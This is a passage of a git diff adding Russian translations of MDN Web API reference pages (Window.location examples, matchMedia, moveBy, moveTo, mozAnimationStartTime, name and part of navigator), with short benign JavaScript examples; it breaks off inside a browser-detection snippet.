+<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).</p>
+
+<h3 id="Пример_№6_Использование_закладок_без_изменения_свойства_hash">Пример №6: Использование закладок без изменения свойства hash</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"/&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.&lt;/p&gt;
+&lt;p id="myBookmark1"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark2');"&gt;Go to bookmark #2&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;p&gt;Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
+&lt;p&gt;Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.&lt;/p&gt;
+&lt;p&gt;Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.&lt;/p&gt;
+&lt;p&gt;Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.&lt;/p&gt;
+&lt;p id="myBookmark2"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark1');"&gt;Go to bookmark #1&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark1', false);"&gt;Go to bookmark #1 without using location.hash&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark3');"&gt;Go to bookmark #3&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.&lt;/p&gt;
+&lt;p&gt;Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.&lt;/p&gt;
+&lt;p id="myBookmark3"&gt;&lt;em&gt;Here is the bookmark #3&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.&lt;/p&gt;
+&lt;p&gt;Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.&lt;/p&gt;
+&lt;p&gt;Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.&lt;/p&gt;
+&lt;p&gt;Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.&lt;/p&gt;
+&lt;p&gt;Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.&lt;/p&gt;
+&lt;p&gt;Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.&lt;/p&gt;
+&lt;p&gt;Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.&lt;/p&gt;
+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div class="note"><strong>Примечание:</strong> функция <code>showNode</code> является также примером использования цикла <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> без раздела <code>statement</code>. В этом случае <strong>точка с запятой всегда добавляется сразу после декларации цикла. </strong></div>
+
+<p>…тоже самое только с анимированной прокруткой страницы:</p>
+
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.location")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс возвращающий значение, {{domxref("Location")}}.</li>
+ <li>Подобная информация, но привязанная к контексту браузера, {{domxref("Document.location")}}</li>
+ <li><a href="/en/DOM/Manipulating_the_browser_history" title="en/DOM/Manipulating the browser history">Манипулирование историей браузера</a></li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/ru/web/api/window/matchmedia/index.html b/files/ru/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..21a386eaa8
--- /dev/null
+++ b/files/ru/web/api/window/matchmedia/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+translation_of: Web/API/Window/matchMedia
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Возвращает новый объект {{domxref("MediaQueryList")}} содержащий результат обработки переданной <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a> строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>mql</em> = window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<p>где <code>mediaQueryString</code> является строкой медиа запроса, для которой будет возвращён новый объект {{domxref("MediaQueryList")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* the viewport is at least 400 pixels wide */
+} else {
+  /* the viewport is less than 400 pixels wide */
+}</pre>
+
+<p>Данный код позволяет обрабатывать поведение по другому, когда размер окна очень узкий.</p>
+
+<p>Смотрите <a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Использование медиа-запросов из кода</a> для дополнительных примеров.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p> </p>
+
+<p>{{Compat("api.Window.matchMedia")}}</p>
+
+<p> </p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface">The CSSOM View Module: The MediaQueryList Interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/moveby/index.html b/files/ru/web/api/window/moveby/index.html
new file mode 100644
index 0000000000..6744e2a2e0
--- /dev/null
+++ b/files/ru/web/api/window/moveby/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.moveBy()
+slug: Web/API/Window/moveBy
+translation_of: Web/API/Window/moveBy
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>moveBy()</strong></code> интерфейса <a href="https://developer.mozilla.org/ru/docs/Web/API/Window" title="Объект window представляет собой окно, содержащее DOM документ; свойство document указывает на DOM document, загруженный в данном окне."><code>Window</code></a> перемещает текущее окно на указанное количество.</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Эта функция перемещает окно относительно текущего положения. В свою очередь, {{domxref("window.moveTo()")}} перемещает к абсолютному значению.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.moveBy(<em>deltaX</em>, <em>deltaY</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>deltaX</code> количество пикселей, на которое будет перемещено окно по горизонтали. Положительное значение перемещает вправо, а отрицательное перемещает влево.</li>
+ <li><code>deltaY</code> количество пикселей, на которое будет перемещено окно по вертикали. Положительное значение перемещает вниз, а отрицательное перемещает вверх.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример перемещает окно на 10 пикселей вправо и на 10 пикселей вверх.</p>
+
+<pre class="brush:js">function budge() {
+  moveBy(10, -10);
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-moveby', 'window.moveBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.moveBy")}}</p>
+
+<p>Начиная с Firefox 7 сайты не могут перемещать окно <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=565541#c24" rel="noopener">в следующих случаях</a>:</p>
+
+<ol>
+ <li>Вы не можете переместить окно или вкладку, которое было создано не с помощью{{domxref("Window.open()")}}.</li>
+ <li>Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.</li>
+</ol>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.moveTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/moveto/index.html b/files/ru/web/api/window/moveto/index.html
new file mode 100644
index 0000000000..dd3bcf219c
--- /dev/null
+++ b/files/ru/web/api/window/moveto/index.html
@@ -0,0 +1,73 @@
+---
+title: Window.moveTo()
+slug: Web/API/Window/moveTo
+translation_of: Web/API/Window/moveTo
+---
+<div>{{APIRef}}</div>
+
+<div>Метод  <code><strong>moveTo()</strong></code> интерфейса {{domxref("Window")}} перемещает текущее окно в указанные координаты.</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Эта функция перемещает окно к абсолютному положению. В свою очередь, {{domxref("window.moveBy()")}} перемещает окно относительно текущего положения.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.moveTo(<var>x</var>, <var>y</var>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>x</code> горизонтальная координата, в которую будет произведено перемещение.</li>
+ <li><code>y</code> вертикальная координата, в которую будет произведено перемещение.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример перемещает окно в левый верхний угол экрана.</p>
+
+<pre class="brush:js">function origin() {
+  window.moveTo(0, 0);
+}</pre>
+
+<ol>
+</ol>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-moveto', 'window.moveTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.moveTo")}}</p>
+
+<p>Начиная с Firefox 7 сайты не могут перемещать окно <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=565541#c24">в следующих случаях</a>:</p>
+
+<ol>
+ <li>Вы не можете переместить окно или вкладку, которое было создано не с помощью {{domxref("Window.open()")}}.</li>
+ <li>Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.</li>
+</ol>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.moveBy()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html
new file mode 100644
index 0000000000..372a07f62e
--- /dev/null
+++ b/files/ru/web/api/window/mozanimationstarttime/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.mozAnimationStartTime
+slug: Web/API/Window/mozAnimationStartTime
+tags:
+  - >-
+    API  HTML DOM  NeedsExample  NeedsMarkupWork NeedsSpecTable  Property 
+    Reference  Window
+translation_of: Web/API/Window/mozAnimationStartTime
+---
+<p>{{ APIRef() }}</p>
+
+<p>{{ gecko_minversion_header("2.0") }}{{ non-standard_header() }}</p>
+
+<h3 id="Summary" name="Summary">Summary</h3>
+
+<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p>
+
+<p>Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval"><em>time</em> = window.mozAnimationStartTime;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><em><code>time</code></em> это время в миллисекундах с начала эпохи UNIX, начиная с которого анимации для текущего окна принимаются уже начавшимися.</li>
+</ul>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p>Not part of specification.</p>
+
+<h3 id="Browser_compatibility">Browser compatibility</h3>
+
+
+
+<p>{{Compat("api.Window.mozAnimationStartTime")}}</p>
+
+<h3 id="See_also">See also</h3>
+
+<ul>
+ <li>{{ domxref("window.mozRequestAnimationFrame()") }}</li>
+ <li>{{ domxref("window.onmozbeforepaint") }}</li>
+</ul>
diff --git a/files/ru/web/api/window/name/index.html b/files/ru/web/api/window/name/index.html
new file mode 100644
index 0000000000..aac0fc4f6b
--- /dev/null
+++ b/files/ru/web/api/window/name/index.html
@@ -0,0 +1,29 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+translation_of: Web/API/Window/name
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Свойство <code>name</code> может использоваться для установки и получения имени текущего окна. Оно становится доступным после его создания.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js"><var>// получение значения
+string</var> = window.name;
+// установка значения
+window.name = <var>string</var>;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.name = "lab_view";
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Имя окна используется, в основном, для задания свойства <code>target</code> гиперссылок и форм.</p>
+
+<p>Также оно может использоваться в фреймворках для предоставления кросс-доменного обмена сообщениями (например, <a href="http://www.thomasfrank.se/sessionvars.html">SessionVars</a> и <a href="http://www.sitepen.com/blog/2008/07/22/windowname-transport/">dojox.io.windowName</a> из Dojo) как более безопасная альтернатива JSONP.</p>
diff --git a/files/ru/web/api/window/navigator/index.html b/files/ru/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..6a3ba2fcc7
--- /dev/null
+++ b/files/ru/web/api/window/navigator/index.html
@@ -0,0 +1,90 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+tags:
+  - API
+  - HTML DOM
+  - Navigator
+  - Window
+translation_of: Web/API/Window/navigator
+---
+<div>{{APIRef}}</div>
+
+<p><code>Window.navigator</code> является свойством только для чтения и возвращает ссылку на объект {{domxref("Navigator")}}, который может запросить информацию о приложении, запустившем скрипт.</p>
+
+<h2 id="Example" name="Example">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>navigatorObject<code> = window.navigator</code></em></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Распознаётся_браузер_и_возвращается_строкой">Пример #1: Распознаётся браузер и возвращается строкой</h3>
+
+<pre class="brush: js">var sBrowser, sUsrAg = navigator.userAgent;
+
+//The order matters here, and this may report false positives for unlisted browsers.
+
+if (sUsrAg.indexOf("Firefox") &gt; -1) {
+     sBrowser = "Mozilla Firefox";
+     //"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
+} else if (sUsrAg.indexOf("Opera") &gt; -1) {
+     sBrowser = "Opera";
+} else if (sUsrAg.indexOf("Trident") &gt; -1) {
+     sBrowser = "Microsoft Internet Explorer";
+     //"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko"
+} else if (sUsrAg.indexOf("Edge") &gt; -1) {
